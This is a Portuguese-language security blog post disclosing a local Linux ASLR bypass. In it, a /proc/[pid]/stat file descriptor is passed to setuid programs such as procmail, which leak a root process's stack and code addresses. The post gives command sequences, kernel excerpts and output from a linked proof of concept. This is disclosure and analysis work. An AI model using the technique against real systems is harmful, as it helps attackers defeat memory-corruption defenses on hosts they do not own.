Introdução
O Address Space Layout Randomization, ou simplesmente ASLR, é uma defesa de segurança probabilística lançada pela equipe PaX em 2001 e introduzida nos kernels upstream em 2005 (2.6.12). Como o próprio nome indica, ele organiza aleatoriamente o espaço de endereçamento (e, portanto, os endereços) de um executável em execução toda vez que ele é iniciado, aplicando a aleatoriedade ao endereço base dos mapeamentos. O objetivo do ASLR é fazer com que uma classe de técnicas de exploração falhe quando o conhecimento dos endereços é necessário para explorar vulnerabilidades de corrupção de memória.
Explorações de corrupção de memória costumavam depender do conhecimento e da codificação rígida de endereços para que um invasor pudesse retornar a instruções executáveis (introduzidas ou já existentes) para executar código arbitrário ou corromper dados críticos do programa. O ASLR foi criado originalmente para defender contra invasores remotos, pois, se um invasor precisar de endereços, ataques remotos oferecem a menor quantidade de informações a priori.
Um pouco de história
Para invasores locais, o /proc/[pid]/ sempre foi problemático e uma grande fonte de vazamentos de informações genéricas para contornar o ASLR em binários setuid ou processos root em geral. Em 2009, Tavis Ormandy e Julien Tinnes, da equipe de segurança do Google na época, fizeram uma apresentação rápida na CanSecWest sobre curiosidades do ASLR no Linux (https://www.cr0.org/paper/to-jt-linux-alsr-leak.pdf), onde demonstraram que /proc/[pid]/stat e /proc/[pid]/wchan vazavam informações como o ponteiro de instrução e o ponteiro de pilha do processo, que poderiam ser usados para reconstruir o layout do espaço de endereçamento de um processo ao qual eles não podiam se conectar via ptrace() no PID. Posteriormente, tais problemas foram supostamente corrigidos (https://lkml.org/lkml/2009/5/4/322).
Em 3 de abril de 2019, 10 anos depois, foi publicado um exploit (https://www.openwall.com/lists/oss-security/2019/04/03/4/1) que funcionava para kernels Linux anteriores à versão 4.8 e que usava, novamente, o /proc/pid/stat para obter o ponteiro de instrução e o ponteiro de pilha de binários setuid mencionados anteriormente (por Tavis e Julien). Como install_exec_creds() era chamado tarde demais em load_elf_binary() no arquivo fs/binfmt_elf.c, isso significava que um executável era mapeado em seu espaço de endereçamento antes que suas credenciais fossem definidas, permitindo que invasores passassem pela verificação ptrace_may_access() introduzida como correção para o ataque de Tavis e Julien. Essa condição de corrida poderia ser explorada por invasores se eles executassem read() em /proc/[pid]/stat antes que install_exec_creds() fosse chamado. Essa vulnerabilidade é identificada pelo CVE-2019-11190.
Em 25 de abril de 2019, poucos dias após o CVE-2019-11190, um engenheiro de segurança da SUSE Linux também publicou na lista oss-security da Openwall um problema anteriormente conhecido e "corrigido" que afetava kernels < 3.18 (https://www.openwall.com/lists/oss-security/2019/04/25/4). Esse problema tratava de um desvio local genérico do ASLR para processos arbitrários, devido ao fato de a verificação de permissão no pseudoarquivo /proc/[pid]/maps ser feita no momento do read() em vez do momento do open(). De acordo com as páginas de manual do proc(5), esse pseudoarquivo contém as regiões de memória mapeadas atualmente e suas permissões de acesso.
$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:04 3670122 /bin/cat
0060b000-0060c000 r--p 0000b000 08:04 3670122 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:04 3670122 /bin/cat
02496000-024b7000 rw-p 00000000 00:00 0 [heap]
7f508bd4b000-7f508beec000 r-xp 00000000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508beec000-7f508c0ec000 ---p 001a1000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508c0ec000-7f508c0f0000 r--p 001a1000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508c0f0000-7f508c0f2000 rw-p 001a5000 08:04 7605352 /lib/x86_64-linux-gnu/libc.so
7f508c0f2000-7f508c0f6000 rw-p 00000000 00:00 0
7f508c0f6000-7f508c117000 r-xp 00000000 08:04 7605349 /lib/x86_64-linux-gnu/ld.so
7f508c164000-7f508c2ed000 r--p 00000000 08:04 800126 /usr/lib/locale/locale-archive
7f508c2ed000-7f508c2f0000 rw-p 00000000 00:00 0
7f508c2f2000-7f508c316000 rw-p 00000000 00:00 0
7f508c316000-7f508c317000 r--p 00020000 08:04 7605349 /lib/x86_64-linux-gnu/ld.so
7f508c317000-7f508c318000 rw-p 00021000 08:04 7605349 /lib/x86_64-linux-gnu/ld.so
7f508c318000-7f508c319000 rw-p 00000000 00:00 0
7ffcf3496000-7ffcf34b7000 rw-p 00000000 00:00 0 [stack]
7ffcf351b000-7ffcf351e000 r--p 00000000 00:00 0 [vvar]
7ffcf351e000-7ffcf351f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Desde a versão 2.6.22, o kernel do Linux não permite a leitura do pseudoarquivo /proc/[pid]/maps se você não puder anexar um ptrace() ao PID, o que significa que um usuário sem privilégios não pode ler o pseudoarquivo de mapas de, por exemplo, um processo executado como root (caso contrário, isso tornaria o ASLR inútil).
$ su &
[1] 2661
$ cat /proc/2661/maps
cat: /proc/2661/maps: Permissão negada
Conforme descrito na publicação oss-sec, a verificação de permissão realizada no momento do read() é problemática, pois permite que um usuário sem privilégios abra um descritor de arquivo válido para o arquivo maps e o passe para programas privilegiados (por exemplo, setuid root) que podem, dependendo do programa, vazar de alguma forma o conteúdo do arquivo para o usuário sem privilégios (processos privilegiados possuem as permissões necessárias para realizar o read() no pseudoarquivo).
Para corrigir essa vulnerabilidade, a verificação de permissão foi simplesmente movida para o momento do open(), em vez do momento do read(), conforme visto no seguinte commit:
https://github.com/torvalds/linux/commit/29a40ace841cba9b661711f042d1821cdc4ad47c
A diversão
O problema com essa "correção", e o que o engenheiro de segurança da SUSE esqueceu de mencionar, é que existem outros pseudoarquivos em /proc/[pid]/ que são capazes de vazar os endereços de memória mapeados atualmente, ou seja, onde a verificação de permissão ainda é feita no momento do read(). Um desses pseudoarquivos é o /proc/[pid]/stat (novamente!), uma fonte conhecida há muito tempo de tais vazamentos de informação.
$ su &
[1] 2767
$ ls -l /proc/2767/stat
-r--r--r-- 1 root root 0 4 fev 16:50 /proc/2767/stat
[1]+ Stopped su
$ cat /proc/2767/stat
2767 (su) T 2766 2767 2766 34817 2773 1077936128 266 0 1 0 0 0 0 0 20 0 1 0 181759 58273792 810 18446744073709551615 1 1 0 0 0 0 524288 6 0 0 0 0 17 1 0 0 6 0 0 0 0 0 0 0 0 0 0
A situação aqui é um pouco diferente do caso anterior. Usuários sem privilégios podem realizar o read() no /proc/[pid]/stat de processos aos quais não podem anexar via ptrace(), no entanto, os campos interessantes (endereços) são substituídos por 0. A partir de fs/proc/array.c no Linux 5.5:
static int do_task_stat(struct seq_file *m, struct pid_namespace *ns,
struct pid *pid, struct task_struct *task, int whole)
{
[...]
int permitted;
[...]
permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT);
[...]
seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->start_code : 1) : 0);
seq_put_decimal_ull(m, " ", mm ? (permitted ? mm->end_code : 1) : 0);
seq_put_decimal_ull(m, " ", (permitted && mm) ? mm->start_stack : 0);
[...]
}
A forma como isso é explorado é exatamente a mesma descrita na publicação oss-sec pelo engenheiro de segurança da SUSE; basta ler /proc/[pid]/stat. Outros binários setuid que conseguem vazar endereços de alguma forma são o procmail (anexa ao /var/spool/mail/$USER o que leu da entrada padrão), que é setuid root no Debian/Ubuntu, e o spice-client-glib-usb-acl-helper (envia para a saída padrão o que leu via entrada padrão), também setuid root.
Aqui está um exemplo usando o procmail:
$ su &
[1] 3122
$ cut -d' ' -f51 /proc/3122/stat
0
[1]+ Stopped su
$ procmail < /proc/3122/stat
$ tail -2 /var/spool/mail/user | cut -d' ' -f51
140726221803504
$ printf '0x%x\n' 140726221803504
0x7ffd60760ff0
# cat /proc/3122/maps
[...]
7ffd60740000-7ffd60761000 rw-p 00000000 00:00 0 [stack]
Após a divulgação coordenada com a Zero Day Initiative (ZDI), os desenvolvedores do kernel Linux responderam que localizaram uma correção de configuração opcional já implementada e que não realizarão mais patches ou correções no momento. A configuração mencionada é o parâmetro hidepid do mount(8).
Infelizmente, isso NÃO resolve o problema.
Novamente, de acordo com o man proc(5):
hidepid=n (desde o Linux 3.3)
Esta opção controla quem pode acessar as informações nos
diretórios /proc/[pid]. O argumento n é um dos seguintes
valores:
0 Todos podem acessar todos os diretórios /proc/[pid]. Este é
o comportamento tradicional e o padrão caso esta opção de
montagem não seja especificada.
1 Os usuários não podem acessar arquivos e subdiretórios dentro de
quaisquer diretórios /proc/[pid] que não sejam os seus próprios (os
diretórios /proc/[pid] em si permanecem visíveis). Arquivos confidenciais
como /proc/[pid]/cmdline e /proc/[pid]/status estão agora
protegidos contra outros usuários. Isso torna impossível
saber se algum usuário está executando um programa específico
(desde que o programa não se revele de outra forma por
seu comportamento).
2 Assim como no modo 1, mas adicionalmente os diretórios /proc/[pid]
pertencentes a outros usuários tornam-se invisíveis. Isso significa
que as entradas /proc/[pid] não podem mais ser usadas para descobrir
os PIDs no sistema. Isso não oculta o fato de que um
processo com um valor de PID específico existe (isso pode ser
descoberto por outros meios, por exemplo, através de "kill -0 $PID"),
mas oculta o UID e o GID de um processo, que poderiam, de outra
forma, ser descobertos utilizando stat(2) em um diretório
/proc/[pid]. Isso complica muito a tarefa de um atacante de
coletar informações sobre processos em execução (por exemplo, descobrir
se algum daemon está sendo executado com privilégios elevados,
se outro usuário está executando algum programa sensível,
se outros usuários estão executando qualquer programa,
e assim por diante).
Ao usar a opção de montagem hidepid=2, um atacante ainda pode explorar isso usando open() em /proc/[pid]/stat (ou /proc/[pid]/syscall, ou /proc/[pid]/auxv) de seu próprio processo que, posteriormente, executa um execve() do binário setuid alvo do qual o atacante deseja vazar endereços. Como o descritor de arquivo foi aberto antes do execve() setuid (um atacante pode acessar seus próprios pseudoarquivos), a opção de montagem hidepid não desempenha nenhum papel na mitigação do ataque. O atacante agora pode vazar os endereços usando a mesma técnica de passar o fd para um processo privilegiado para, de alguma forma, vazar o conteúdo do arquivo.
Exploração
Lançamos uma prova de conceito totalmente funcional em nosso Github, chamada ASLREKT: https://github.com/blazeinfosec/aslrekt
Aqui está o PoC em ação, agora utilizando o spice-client-glib-usb-acl-helper.
$ ./aslrekt
***** ASLREKT *****
Senha:
[+] /bin/su .text está em 0x564219868000
[+] /bin/su heap está em 0x56421b657000
[+] /bin/su stack está em 0x7ffe78d76000
# cat /proc/$(pidof su)/maps
564219868000-564219871000 r-xp 00000000 08:04 3674996 /bin/su
[...]
56421b657000-56421b678000 rw-p 00000000 00:00 0 [heap]
[...]
7ffe78d76000-7ffe78d97000 rw-p 00000000 00:00 0 [stack]
Conclusão
Desde a sua introdução nos kernels upstream, é seguro afirmar que, localmente, o ASLR esteve comprometido durante todo este tempo e continuará a estar. Não apenas por causa do /proc/[pid]/, mas também devido à falta de mecanismos de detecção de força bruta, ou seja, a detecção de múltiplas falhas em um curto período de tempo. Parece haver também uma falta de compreensão por parte dos desenvolvedores do kernel Linux sobre os problemas subjacentes aos pseudoarquivos /proc/[pid]/ e a ameaça que estes podem representar, uma vez que as questões não foram devidamente corrigidas por patches e foi sugerida uma "solução paliativa" que NÃO resolve o problema como mitigação. Por outro lado, o grsecurity oferece uma opção de configuração que, quando ativada, impede o vazamento de informações através dos arquivos /proc/[pid]/ (CONFIG_GRKERNSEC_PROC_MEMMAP).
Até a próxima!




